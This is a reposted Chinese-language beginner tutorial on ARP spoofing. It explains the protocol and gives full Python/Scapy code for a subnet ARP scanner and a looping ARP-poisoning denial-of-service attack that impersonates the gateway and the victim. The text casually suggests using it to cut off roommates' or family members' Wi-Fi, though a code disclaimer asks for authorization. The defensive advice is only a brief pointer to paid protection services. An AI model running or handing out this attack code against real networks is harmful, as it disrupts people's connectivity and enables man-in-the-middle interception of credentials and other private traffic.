」工欲善其事,必先利其器。「—孔子《論語.錄靈公》
首頁 > 程式設計 > 初學者最簡單的網路攻擊:ARP 欺騙

初學者最簡單的網路攻擊:ARP 欺騙

發佈於2024-11-22
瀏覽:743

什么是 ARP(地址解析协议)?

地址解析协议(ARP)是局域网中用于将 IP 地址转换为物理地址(MAC 地址)的重要协议。

什么是 ARP 攻击?

ARP 攻击是利用 ARP 协议的漏洞。通过发送伪造的 ARP 消息,攻击者可以将其 MAC 地址与受害者的 IP 地址绑定,从而拦截、更改或破坏网络通信。

为什么ARP攻击最容易实施?

ARP 攻击特别容易实施,因为 ARP 协议缺乏固有的安全功能,使其成为网络攻击者的主要目标。 ARP欺骗或ARP中毒因此成为一种常见且危险的网络攻击方法。

使用 Python,您可以在 100 行以内完成代码,而且影响相当显着 — 您的室友或家人可能很快就会失去 WiFi 连接。当然,你不应该试图随意攻击别人,除了好朋友。

ARP 攻击可以做什么?

The Easiest Network Attack for Beginners: ARP Spoofing

  1. 拒绝服务攻击:您可以通过 ARP 攻击破坏室友或家人的 Wi-Fi 连接。通过欺骗目标计算机认为攻击者是网关,攻击者可以中断目标计算机与网关之间的通信,从而阻止目标计算机访问网络资源。

  2. 网络嗅探:攻击者可以利用ARP攻击捕获网络上的所有通信数据包,从而分析和提取敏感信息。

  3. 数据篡改:通过中间人攻击,攻击者可以改变数据包的内容,从而改变通信数据。

现实生活中的例子

  • 企业网络:攻击者可以在公司内部网络中执行 ARP 欺骗,窃取员工的登录凭据、电子邮件内容和其他敏感信息。
  • 公共 Wi-Fi:在咖啡馆、机场等场所,攻击者可以使用 ARP 欺骗来攻击连接到同一 Wi-Fi 网络的用户,窃取他们的私人数据。
  • 家庭网络:攻击者可以在家庭网络设备上进行ARP欺骗,窃取用户的浏览历史记录、登录信息等。

ARP 攻击如何运作

  1. ARP欺骗:攻击者向本地网络上的其他设备发送伪造的ARP响应消息,将其MAC地址与合法设备的IP地址绑定。例如,攻击者可以将自己的 MAC 地址与网关的 IP 地址绑定,欺骗本地网络上的所有设备向攻击者发送数据。

  2. 中间人攻击:一旦ARP欺骗成功,攻击者就可以将自己置于受害者和网关之间,拦截并转发所有通信数据。这使得攻击者能够窃取敏感信息,例如登录凭据和银行帐户信息。

  3. 数据篡改:攻击者不仅可以拦截数据,还可以在将数据转发到受害者或网关之前对其进行更改,从而实现进一步的攻击。

用Python实现ARP攻击

首先,我们将实现一个基本的ARP扫描功能。实施 ARP 探测非常简单。我们可以定义两个函数:一个称为generate_ip_range,它接受一个I​​P地址字符串并生成该子网内的所有主机地址;另一个称为generate_ip_range,它接受IP地址字符串并生成该子网内的所有主机地址;另一个称为arp_scan,它发送ARP数据包。我们可以使用Scapy的ARP函数构造ARP请求并使用srp发送它们,然后等待响应。

from scapy.all import *
import argparse
import threading, time
import logging

# Generate the IP range, e.g., input: 192.168.1.1/20 generates addresses 1-20
def Parse_IP(targets):
    _split = targets.split('/')
    first_ip = _split[0]
    ip_split = first_ip.split('.')
    ipv4 = range(int(ip_split[3]), int(_split[1])   1)
    addr = [ip_split[0]   '.'   ip_split[1]   '.'   ip_split[2]   '.'   str(p) for p in ipv4]
    return addr

# Scan the local network for online devices using the ARP protocol
def ARP_Scan(address):
    try:
        ret = sr1(ARP(pdst=address), timeout=5, verbose=False)
        if ret:
            if ret.haslayer('ARP') and ret.fields['op'] == 2:
                print('[ ] IP address: %-13s ==> MAC address: %-15s' % (ret.fields['psrc'], ret.fields['hwsrc']))
    except Exception:
        exit(1)

if __name__ == "__main__":
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    parser = argparse.ArgumentParser()
    parser.add_argument("-s", "--scan", dest="scan")
    args = parser.parse_args()
    # Usage: main.py -s 192.168.1.1/100
    if args.scan:
        addr_list = Parse_IP(args.scan)
        for item in addr_list:
            threads = []
            t = threading.Thread(target=ARP_Scan, args=(item,))
            threads.append(t)
            t.start()
        for item in threads:
            item.join()
    else:
        parser.print_help()

接下来我们将学习如何实现ARP拒绝服务攻击。 ARP DOS 攻击的核心是 send_payload 函数。每次调用此函数都会发送两个数据包:第一个数据包伪装成网关,欺骗目标计算机认为攻击者是网关;第一个数据包伪装成网关,欺骗目标计算机认为攻击者是网关。第二个数据包伪装成目标计算机,欺骗网关认为攻击者是目标计算机。通过多线程发送这两个数据包,目标计算机将无法连接网络,从而实现DOS攻击。

"""
Disclaimer:

This code is intended for educational and experimental purposes only, to help users understand the ARP protocol and related network security concepts. Do not run this code on any actual network without explicit permission.

Unauthorized ARP attack activities are illegal and may result in network disruptions, data breaches, and other severe consequences. Users of this code must be responsible for their actions and comply with relevant laws and regulations.

The developers and publishers are not liable for any direct or indirect damages resulting from the use of this code. Please conduct experiments within the bounds of legal authority and ensure appropriate authorization.

Before running this code, please confirm that you have understood and accepted this disclaimer.
"""

from scapy.all import *
import argparse
import threading, time
import logging

# Create and send payloads
def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP):
    print("[ ] Target MAC: {} Target IP: {} Sending: 2 packets".format(tgtMac, tgtIP))
    # Generate ARP packet, pretending to be the gateway to deceive the target computer
    sendp(Ether(src=srcMac, dst=tgtMac) / ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2), iface=Interface)
    # Generate ARP packet, pretending to be the target computer to deceive the gateway
    sendp(Ether(src=srcMac, dst=gateWayMac) / ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2), iface=Interface)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-i", "--interface", dest="interface", help="Enter the interface name")
    parser.add_argument("-g", "--gateway", dest="gateway", help="Input Gateway Address")
    parser.add_argument("-t", "--target", dest="target", help="Enter the victim host address")
    args = parser.parse_args()

    # Usage: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10
    if args.gateway and args.target:
        srcMac = get_if_hwaddr(args.interface)  # Get the local MAC address through the interface name
        tgtMac = getmacbyip(args.target)  # Get the target computer's MAC address through its IP address
        gatewayMac = getmacbyip(args.gateway)  # Specify the gateway MAC address in the local network
        while True:
            t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target))
            t.start()
            t.join()
            time.sleep(1)
    else:
        parser.print_help()

如何防范日常网络攻击

作为一名独立开发人员,您可能经常遇到保护您的网站免受各种复杂攻击(尤其是最简单的攻击)的挑战。

例如ARP攻击非常容易执行,攻击代码不到100行。然而,造成的损害可能是巨大的。如果开发人员需要详细防御每种类型的攻击,这可能是一项艰巨的任务,可能会超出开发工作量。

因此,集成第三方平台已经成为一种非常常见的解决方案。 Edgeone、Cloudflare 等平台可以提供有效的保护服务。虽然这些服务可能需要几美元,但与自卫相比,它们大大减轻了精神负担。

这是我写的一篇关于常见网络攻击及其解决方案的文章。如果您有兴趣,请随时查看。

版本聲明 本文轉載於:https://dev.to/mpoiiii/the-easiest-network-attack-for-beginners-arp-spoofing-pn4?1如有侵犯,請聯繫[email protected]刪除
最新教學 更多>
  • 如何使用FormData()處理多個文件上傳?
    如何使用FormData()處理多個文件上傳?
    )處理多個文件輸入時,通常需要處理多個文件上傳時,通常是必要的。 The fd.append("fileToUpload[]", files[x]); method can be used for this purpose, allowing you to send multi...
    程式設計 發佈於2025-04-20
  • 如何使用不同數量列的聯合數據庫表?
    如何使用不同數量列的聯合數據庫表?
    合併列數不同的表 當嘗試合併列數不同的數據庫表時,可能會遇到挑戰。一種直接的方法是在列數較少的表中,為缺失的列追加空值。 例如,考慮兩個表,表 A 和表 B,其中表 A 的列數多於表 B。為了合併這些表,同時處理表 B 中缺失的列,請按照以下步驟操作: 確定表 B 中缺失的列,並將它們添加到表的...
    程式設計 發佈於2025-04-20
  • Go語言垃圾回收如何處理切片內存?
    Go語言垃圾回收如何處理切片內存?
    在Go Slices中的垃圾收集:詳細的分析在GO中,Slice是一個動態數組,引用了基礎陣列。使用切片時,了解垃圾收集行為至關重要,以避免潛在的內存洩漏。 考慮使用slice使用slice的以下實現:字符串{ R:=(*Q)[0] *q =(*q)[1:len(*q)] 返...
    程式設計 發佈於2025-04-20
  • 如何干淨地刪除匿名JavaScript事件處理程序?
    如何干淨地刪除匿名JavaScript事件處理程序?
    刪除匿名事件偵聽器將匿名事件偵聽器添加到元素中會提供靈活性和簡單性,但是當要刪除它們時,可以構成挑戰,而無需替換元素本身就可以替換一個問題。 element? element.addeventlistener(event,function(){/在這里工作/},false); 要解決此問題,請考...
    程式設計 發佈於2025-04-20
  • 如何從PHP中的數組中提取隨機元素?
    如何從PHP中的數組中提取隨機元素?
    從陣列中的隨機選擇,可以輕鬆從數組中獲取隨機項目。考慮以下數組:; 從此數組中檢索一個隨機項目,利用array_rand( array_rand()函數從數組返回一個隨機鍵。通過將$項目數組索引使用此鍵,我們可以從數組中訪問一個隨機元素。這種方法為選擇隨機項目提供了一種直接且可靠的方法。
    程式設計 發佈於2025-04-20
  • 在所有瀏覽器中實現左對齊文本的斜線方法
    在所有瀏覽器中實現左對齊文本的斜線方法
    ] 在傾斜行上的文本對齊背景在傾斜行上實現左對齊的文本可能會構成挑戰,在nectera時尤其是挑戰。兼容性(返回IE9)。 通過引入一系列平方元素併計算其尺寸,我們可以創建一個有效的解決方案: .loop(@i) when (@i > 0){ .loop((@i - ...
    程式設計 發佈於2025-04-20
  • 在UTF8 MySQL表中正確將Latin1字符轉換為UTF8的方法
    在UTF8 MySQL表中正確將Latin1字符轉換為UTF8的方法
    在UTF8表中將latin1字符轉換為utf8 ,您遇到了一個問題,其中含義的字符(例如,“jáuòiñe”)在utf8 table tabled tablesset中被extect(例如,“致電。為了解決此問題,您正在嘗試使用“ mb_convert_encoding”和“ iconv”轉換受...
    程式設計 發佈於2025-04-20
  • 您如何在Laravel Blade模板中定義變量?
    您如何在Laravel Blade模板中定義變量?
    在Laravel Blade模板中使用Elegance 在blade模板中如何分配變量對於存儲以後使用的數據至關重要。在使用“ {{}}”分配變量的同時,它可能並不總是最優雅的解決方案。 幸運的是,Blade通過@php Directive提供了更優雅的方法: $ old_section =...
    程式設計 發佈於2025-04-20
  • 為什麼我會收到MySQL錯誤#1089:錯誤的前綴密鑰?
    為什麼我會收到MySQL錯誤#1089:錯誤的前綴密鑰?
    mySQL錯誤#1089:錯誤的前綴鍵錯誤descript [#1089-不正確的前綴鍵在嘗試在表中創建一個prefix鍵時會出現。前綴鍵旨在索引字符串列的特定前綴長度長度,可以更快地搜索這些前綴。 了解prefix keys `這將在整個Movie_ID列上創建標準主鍵。主密鑰對於唯一識...
    程式設計 發佈於2025-04-20
  • 在Java中使用for-to-loop和迭代器進行收集遍歷之間是否存在性能差異?
    在Java中使用for-to-loop和迭代器進行收集遍歷之間是否存在性能差異?
    For Each Loop vs. Iterator: Efficiency in Collection TraversalIntroductionWhen traversing a collection in Java, the choice arises between using a for-...
    程式設計 發佈於2025-04-20
  • 在細胞編輯後,如何維護自定義的JTable細胞渲染?
    在細胞編輯後,如何維護自定義的JTable細胞渲染?
    在JTable中維護jtable單元格渲染後,在JTable中,在JTable中實現自定義單元格渲染和編輯功能可以增強用戶體驗。但是,至關重要的是要確保即使在編輯操作後也保留所需的格式。 在設置用於格式化“價格”列的“價格”列,用戶遇到的數字格式丟失的“價格”列的“價格”之後,問題在設置自定義單元...
    程式設計 發佈於2025-04-20
  • 為什麼儘管有效代碼,為什麼在PHP中捕獲輸入?
    為什麼儘管有效代碼,為什麼在PHP中捕獲輸入?
    在php ;?>" method="post">The intention is to capture the input from the text box and display it when the submit button is clicked.但是,輸出...
    程式設計 發佈於2025-04-20
  • 在JavaScript中如何並發運行異步操作並正確處理錯誤?
    在JavaScript中如何並發運行異步操作並正確處理錯誤?
    同意操作execution 在執行asynchronous操作時,相關的代碼段落會遇到一個問題,當執行asynchronous操作:此實現在啟動下一個操作之前依次等待每個操作的完成。要啟用並發執行,需要進行修改的方法。 第一個解決方案試圖通過獲得每個操作的承諾來解決此問題,然後單獨等待它們: c...
    程式設計 發佈於2025-04-20
  • 圖片在Chrome中為何仍有邊框? `border: none;`無效解決方案
    圖片在Chrome中為何仍有邊框? `border: none;`無效解決方案
    在chrome 在使用Chrome and IE9中的圖像時遇到的一個頻繁的問題是圍繞圖像的持續薄薄邊框,儘管指定了圖像,儘管指定了;和“邊境:無;”在CSS中。要解決此問題,請考慮以下方法: Chrome具有忽略“ border:none; none;”的已知錯誤,風格。要解決此問題,請使用以下...
    程式設計 發佈於2025-04-20
  • 為什麼不````''{margin:0; }`始終刪除CSS中的最高邊距?
    為什麼不````''{margin:0; }`始終刪除CSS中的最高邊距?
    在CSS 問題:不正確的代碼: 全球範圍將所有餘量重置為零,如提供的代碼所建議的,可能會導致意外的副作用。解決特定的保證金問題是更建議的。 例如,在提供的示例中,將以下代碼添加到CSS中,將解決餘量問題: body H1 { 保證金頂:-40px; } 此方法更精確,避免了由全局保證金重置...
    程式設計 發佈於2025-04-20

免責聲明: 提供的所有資源部分來自互聯網,如果有侵犯您的版權或其他權益,請說明詳細緣由並提供版權或權益證明然後發到郵箱:[email protected] 我們會在第一時間內為您處理。

Copyright© 2022 湘ICP备2022001581号-3